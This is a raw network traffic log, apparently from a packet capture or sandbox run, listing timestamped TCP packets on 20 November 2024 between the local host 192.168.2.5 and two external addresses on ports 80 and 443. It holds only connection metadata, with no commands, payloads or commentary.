Nov 20, 2024 06:40:22.190274000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.190309048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.190337896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.190342903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.190371990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.190373898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.191333055 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.247118950 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.248392105 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.730837107 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.732495070 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.733772039 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.734596014 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.734596014 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.734626055 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.734651089 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.734801054 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.734831095 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.735116005 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.735121965 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.735352039 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.735414028 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.739340067 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.739353895 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.743695021 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.744060040 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.744074106 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.747344017 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.747354984 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.755465984 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.759335995 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.759357929 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.760196924 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.760202885 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.831587076 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.831657887 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.835464001 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.835508108 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.835684061 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.837557077 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.837642908 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.837693930 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.837970972 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.845220089 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.845372915 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.848443985 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.860284090 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.860363007 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.863481045 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.872466087 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.872534037 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.872584105 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.872602940 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.873754025 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.873765945 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.873817921 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.873828888 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.874325037 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.874325037 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.874350071 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.874362946 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.875039101 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.875046015 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.875067949 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.875075102 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.876230001 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.876270056 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.876307964 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.876317024 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.881392956 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.881437063 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.881762981 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883049965 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883091927 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.883173943 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883198023 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.883229017 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883333921 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883347034 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.883470058 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883475065 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.883490086 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.883524895 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.884936094 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.884968996 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.884983063 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.884994984 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.885050058 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.885231018 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.885240078 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.885250092 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.885274887 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.885283947 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.885303974 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.522202015 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.522759914 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.522779942 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.524415970 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.524421930 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.526081085 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.526429892 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.526458025 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.526910067 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.526916027 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.534591913 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.534903049 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.534931898 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.535396099 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.535402060 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.549489021 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.549909115 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.549940109 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.550297976 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.550304890 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.551279068 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.551597118 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.551606894 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.551964998 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.551970005 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.622133970 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.622189999 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.622416019 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.622548103 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.622571945 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.622587919 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.622596025 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.624957085 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.625005960 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.625140905 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.625315905 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.625329971 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.626708984 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.626784086 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.626848936 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.626957893 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.626979113 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.626993895 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.627002001 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.629796028 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.629842043 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.630053043 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.630173922 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.630198956 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.637681007 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.637748957 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.637800932 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.637861967 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.637878895 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.637896061 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.637902021 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.639945984 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.639966965 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.640032053 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.640175104 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.640186071 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659226894 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659286022 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659290075 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659351110 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659409046 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659450054 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659478903 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659485102 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659497976 CET	49741	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659502983 CET	443	49741	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659570932 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659589052 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.659605026 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.659610987 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.661947012 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.661966085 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.662067890 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.662076950 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.662081003 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.662115097 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.662259102 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.662273884 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:23.662288904 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:23.662297010 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.356096029 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.356575012 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.356622934 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.357018948 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.357032061 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.362310886 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.362668991 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.362696886 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.363056898 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.363061905 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.365464926 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.365747929 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.365794897 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.366210938 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.366218090 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.375118017 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.375439882 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.375467062 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.375808954 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.375822067 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.379255056 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.379611015 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.379650116 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.379966974 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.379978895 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.460067034 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.460119009 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.460283041 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.460361958 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.460400105 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.460426092 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.460441113 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.462625027 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.462677002 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.462723970 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.462857962 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.462877989 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.462889910 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.462897062 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.462929964 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.462961912 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.463023901 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.463227987 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.463242054 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.464992046 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.465014935 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.465070009 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.465182066 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.465193987 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.466140032 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.466216087 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.466331005 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.466510057 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.466526985 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.466545105 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.466551065 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.469266891 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.469304085 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.469383001 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.469547033 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.469566107 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.484931946 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.485007048 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.485801935 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.488794088 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.488848925 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.488886118 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.488900900 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491028070 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491041899 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491113901 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491203070 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491225004 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491234064 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491442919 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491601944 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491631031 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491636992 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.491648912 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.491653919 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.493527889 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.493546963 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:24.493613958 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.493729115 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:24.493743896 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.134293079 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.134792089 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.134815931 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.135112047 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.135231018 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.135235071 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.135426044 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.135447979 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.135735989 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.135742903 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.144805908 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.145188093 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.145209074 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.145593882 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.145601988 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.146590948 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.146903038 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.146931887 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.147290945 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.147296906 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.152971983 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.153359890 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.153386116 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.153842926 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.153847933 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.237405062 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.237469912 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.237576962 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.237730980 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.237759113 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.237775087 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.237783909 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.238262892 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.238344908 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.238650084 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.238806963 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.238823891 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.238837004 CET	49752	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.238842964 CET	443	49752	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.240741968 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.240791082 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.240871906 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.240977049 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.241019011 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.241024971 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.241038084 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.241086960 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.241147041 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.241158009 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.244019985 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.244175911 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.244383097 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.244410992 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.244424105 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.244436979 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.244441986 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.246215105 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.246289968 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.246335983 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.246372938 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.246390104 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.246402979 CET	49755	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.246408939 CET	443	49755	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.247103930 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.247117043 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.247199059 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.247386932 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.247407913 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.248285055 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.248312950 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.248547077 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.248673916 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.248687029 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.877248049 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.885881901 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.899591923 CET	49756	443	192.168.2.5	13.107.246.45
